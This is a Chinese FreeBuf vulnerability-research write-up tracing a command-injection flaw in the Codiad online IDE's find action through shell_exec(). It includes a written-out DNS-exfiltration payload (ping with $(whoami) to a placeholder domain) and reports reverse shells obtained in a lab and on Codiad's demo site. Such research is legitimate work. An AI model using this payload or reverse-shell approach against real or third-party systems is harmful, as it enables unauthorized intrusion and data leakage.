freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

Codiad在线IDE框架漏洞挖掘
FreeBuf_302725 2018-04-20 17:00:28 524969

简介 :

Codiad 是一个开源基于Web的IDE应用程序,用于在线编写和编辑代码。

仓库 :

https://github.com/Codiad/Codiad

环境搭建 :

通过phpstudy搭建基础,并开启Xdebug 。

可参考https://blog.csdn.net/flyingdream123/article/details/69358819进行环境配置。

漏洞挖掘过程:

通过cve漏洞库对Codiad以往漏洞进行查询,发现该框架对shell_exec()函数的处理上曾多次出现问题,将针对点锁定在了对该函数的调用上。

Clipboard Image.png
Clipboard Image.png

上一个版本中该处出现了命令执行漏洞,官网可能已经修补,先不考虑。

锁定find()函数调用

Clipboard Image.png

$cmd 参数由$input 设置

$input由$this->query设置

Clipboard Image.png

this->query参数通过get传参获取

查找对find()调用的位置

Clipboard Image.png
Clipboard Image.png

Clipboard Image.png

尝试更改action参数值为find并动态调试观察

Clipboard Image.png

在进入action判断前,对path参数进行了判定,所有此时一定要注意你当前目录的名字

Clipboard Image.png

走到这里以后,通过shell_exec执行拼接好的操作,我们可以清楚的看见此时我们构造query参数被””包含着,参考上一个代码执行漏洞的说明,在调用escapeshellarg函数对传入参数进行处理后,如果有””包含着,则仍然可以进行命令执行。

Clipboard Image.png

通过现有判断,我们开始构造payload,因为构造参数为Linux下,于是不得不开始搭建linux实验环境,参考http://www.freebuf.com/articles/web/141788.html进行linux环境搭建

Clipboard Image.png

将没有查询结果时返回信息修改为执行的$cmd

$this->message = $cmd; 便于我们查看执行的命令

采用dns外带查询判断是否有命令执行存在
Clipboard Image.png

需注意在`` 中再执行子命令应该使用$()执行
Clipboard Image.png

由此确定了该参数确实存在命令执行漏洞。

现在尝试反弹一下shell

服务器打开监听

Clipboard Image.png
Clipboard Image.png

Clipboard Image.png

发现shell成功反弹。

对demo站进行尝试。

Clipboard Image.png

执行语句后,无shell返回,尝试一下别的命令

`ping –c 1 $(whoami) .xxx.xxx.io``  发现dns外带,仍然能够得到信息,证明命令执行是存在的,

考虑是不是存在别的限制。

Clipboard Image.png

开始尝试一下别的反弹shell的payload.

对网上payload进行了一一尝试

成功反弹shell,中间还有各种尝试,如wget写文件等等

Clipboard Image.png

Clipboard Image.png

白盒时发现,内容并没有成功写入文件中,中间还涉及各种权限问题。收获蛮多,新手投稿,希望大佬们多指教。

*本文作者:licong,转载请注明来自FreeBuf.COM

# Codiad # IDE
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 FreeBuf_302725 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
FreeBuf_302725 LV.1
这家伙太懒了,还未填写个人描述!
  • 1 文章数
  • 0 关注者
文章目录